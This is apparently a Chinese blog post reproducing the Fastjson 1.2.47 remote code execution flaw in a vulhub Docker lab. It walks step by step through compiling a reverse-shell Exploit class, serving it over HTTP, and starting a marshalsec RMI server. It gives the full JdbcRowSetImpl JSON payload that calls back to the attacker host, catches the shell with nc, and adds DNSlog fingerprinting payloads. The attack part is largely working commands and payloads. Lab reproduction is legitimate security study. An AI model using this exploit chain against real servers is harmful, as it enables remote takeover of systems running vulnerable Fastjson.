Fastjson1.2.47版本远程命令执行漏洞

我的一个好朋友和我说,他在淘宝挖到fastjson命令执行,获得了一万奖金。我虽然是个学渣,也不太懂java,但起码以后碰到了,要知道这个玩意,并且要知道这个玩意如何挖掘。话不多说,开始复现之路。


环境

攻击机ip 192.168.10.144 漏洞环境ip 192.168.10.158(直接用docker+vulhub的环境搭建)
攻击的步骤:

  • 1.Exploit.exp需要进行javac编译

  • 2 所有用的工具和编译后的包要在同一目录,然后在该目录启动http服务和启动一个RMI服务器,监听9999端。其中RMI服务marshalsec.jndi.RMIRefServer 是需要jdk1.8版本的。(其中Exp下载地址里边已经有编译好的marshalsec-0.0.3-SNAPSHOT-all.jar,就不用下载meavn对marshalsec进行打包,能省去很长的时间)

  • 3 发送构造好的请求包,nc监听得到反弹shell

为了方便对Exploit.java编译,我选择了用windows来操作
Exp 下载地址 :https://github.com/CaijiOrz/fastjson-1.2.47-RCE
下载好后会有三个文件
Fastjson1.2.47版本远程命令执行漏洞_第1张图片

其中Exploit.java只是一段反弹shell的代码,需要修改为攻击机的ip和端口
Fastjson1.2.47版本远程命令执行漏洞_第2张图片

然后来到jdk的bin目录下使用javac进行编译,然后会生成一个Exploit.class文件
Fastjson1.2.47版本远程命令执行漏洞_第3张图片

然后把编译好的Exploit.class文件和Exploit.java, marshalsec-0.0.3-SNAPSHOT-all.jar三个文件放置同一个目录下,然后发送至攻击机
Fastjson1.2.47版本远程命令执行漏洞_第4张图片

然后在Exploit.class的目录下开启python的简单http服务,相当于访问http://192.168.10.144/Exploit.class就能下载
Fastjson1.2.47版本远程命令执行漏洞_第5张图片

 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.144:8081/#Exploit" 9999

Fastjson1.2.47版本远程命令执行漏洞_第6张图片

构造exp请求包,并多开端口进行nc监听1234

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.10.144:9999/Exploit",
        "autoCommit":true
    }
}

构造好的请求包发送如下,注意Content-type格式要json,并且是post请求。
Fastjson1.2.47版本远程命令执行漏洞_第7张图片

然后攻击机就能收到反弹回来的shell了
Fastjson1.2.47版本远程命令执行漏洞_第8张图片

漏洞指纹

  • 1 DNSlog平台验证
    (比网上很多payload都要好用,通杀版本)
 {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog的位置"}}

Fastjson1.2.47版本远程命令执行漏洞_第9张图片
Fastjson1.2.47版本远程命令执行漏洞_第10张图片

  • 2 故意构造一个不完整的json发送请求

Fastjson1.2.47版本远程命令执行漏洞_第11张图片

故意构造一个不完整的json发送请求,会发现响应包会有alibaba.fastjson
Fastjson1.2.47版本远程命令执行漏洞_第12张图片

你可能感兴趣的:(复现漏洞)